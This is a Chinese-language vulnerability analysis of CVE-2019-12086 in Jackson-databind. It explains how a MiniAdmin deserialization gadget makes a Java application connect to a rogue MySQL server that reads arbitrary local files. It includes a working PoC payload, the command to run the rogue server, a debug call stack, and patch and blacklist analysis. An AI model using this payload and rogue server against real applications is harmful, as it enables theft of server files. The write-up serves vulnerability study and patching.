该CVE是基于MiniAdmin的利用链的,和以往反序列化执行命令的漏洞不一样,本次的反序列化读取任意文件内容,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。

0x01 影响版本

Jackson 2.x系列 < 2.9.9

0x02 限制

目标环境中需存在8.0.14版本以下的MySQL驱动,即mysql-connector-java版本 < 8.0.14。

更具体地说,mysql-connector-java版本应为 6.0.3-8.0.15 之间才能成功触发。

0x03 利用到的MySQL特性问题

LOAD DATA LOCAL

具体可参考:https://dev.mysql.com/doc/refman/5.7/en/load-data-local.html

下面简单说下。

MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。

协议的工作过程大致如下:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/data.txt文件发给我;
  4. 客户端->服务端:/data.txt文件的内容;

问题在于,客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/etc/passwd文件发给我;
  4. 客户端->服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露。

allowLoadLocalInfile

allowLoadLocalInfile是MySQL的JDBC驱动的一个创建连接的配置项,用来控制是否允许从本地读取文件,默认值为True。

0x04 复现利用

PoC.java:

1
2
3
4
5
6
7
8
9
10
11
12
public class PoC {
public static void main(String[] args) {
String payload = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\",\"jdbc:mysql://192.168.10.128:3307/test\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

下载恶意的MySQL服务器脚本,并运行在Linux中,同时指定读取目标MySQL客户端的哪个文件:

1
python rogue_mysql_server.py "C:/Windows/win.ini"

运行后,可以在MySQL服务端的mysql.log中读取到客户端的文件内容:

0x05 调试分析

mapper.readValue(payload, Object.class);处打下断点进行调试。同时,我们分析MiniAdmin类发现,它并没有getter方法和setter方法,只有构造函数,也就是说该类的漏洞在于它的构造函数中,直接在它的构造函数处打下断点即可。

前面的函数调用过程和之前的没啥区别,直至调用newInstance()函数创建新的MiniAdmin类实例时,会调用到MiniAdmin类的构造函数,而该函数中则是直接调用了Jdbc的connect()方法、会直接去连接jdbcUrl指向的数据库地址:

利用链:newInstance()->MiniAdmin()->Driver.connect()

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<init>:95, MiniAdmin (com.mysql.cj.jdbc.admin)
<init>:79, MiniAdmin (com.mysql.cj.jdbc.admin)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:19, PoC

0x06 为何需要MySQL Connector/J >= 6.0.3

我们在mysql-connector-java-6.0.3-sources.jar!/com/mysql/cj/core/conf/PropertyDefinitions.java中看到,在其静态代码块中对maxAllowedPacket设置项设置为65535,即默认允许最大的包大小为65535:

而在中,我们发现其静态代码块中对maxAllowedPacket设置项设置为-1,也就是说默认不让你发包,也就不存在漏洞了:

0x07 补丁分析

MySQL Connector/J的修复

MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false。

https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/news-8-0-15.html

Jackson的修复

从2.9.9版本开始,Jackson将”com.mysql.cj.jdbc.admin.MiniAdmin”加入到反序列化黑名单中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");

// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");

// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

// [databind#2326] (2.9.9): one more 3rd party gadget
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

0x08 参考

分析Jackson的安全漏洞CVE-2019-12086

https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read